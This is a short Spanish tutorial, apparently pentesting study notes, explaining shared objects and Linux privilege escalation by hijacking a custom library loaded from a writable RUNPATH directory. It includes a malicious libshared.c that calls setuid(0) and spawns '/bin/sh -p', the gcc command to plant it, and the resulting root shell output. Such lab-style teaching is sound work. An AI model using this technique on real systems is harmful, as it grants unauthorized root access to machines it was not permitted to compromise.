Shared Object

¿Qué es un Shared Object (.so)?

Un shared object (objeto compartido) es un archivo binario compilado que contiene código y datos reutilizables por múltiples programas. En sistemas Unix-like (como Linux), estos archivos tienen la extensión .so y permiten:

  • Reducir redundancia: Varios programas pueden cargar la misma biblioteca en memoria.
  • Ahorrar recursos: Evita duplicar código en cada ejecutable.

Explotación mediante Manipulación de Bibliotecas

Algunos binarios utilizan bibliotecas personalizadas (no estándar). Si tenemos acceso de escritura sobre estas, podemos escalar privilegios.

Ejemplo Práctico

1.Identificar un binario con SUID (ejecución como propietario, normalmente root):

elliot@debian:~$ ls -la custom_binary
-rwsr-xr-x 1 root root 16728 Jan 12 11:05 custom_binary

2.Verificar las bibliotecas que usa el binario (comando ldd):

elliot@debian:~$ ldd custom_binary
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f0c13112000)
Se observa que usa una biblioteca no estándar: `libshared.so`.

3.Ubicar la ruta de carga de bibliotecas (comando readelf):

```bash
elliot@debian:~$ readelf -d custom_binary | grep PATH
0x00000000000000 (RUNPATH)  Library runpath: [/development]
```

El binario carga la bibliotecas desde `/development`.

4.Explotación (si tenemos escritura en /development)

- Creamos una biblioteca maliciosa (`libshared.c`):
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    setuid(0);
    system("/bin/sh -p");
}

5.Compilamos y reemplazamos la biblioteca original:

gcc src.c -fPIC -shared -o /development/libshared.so

6.Ejecutamos el binario custom_binary

elliot@debian:~$ ./custom_binary
# id
uid=0(root) gid=1000(elliot) groups=1000(elliot)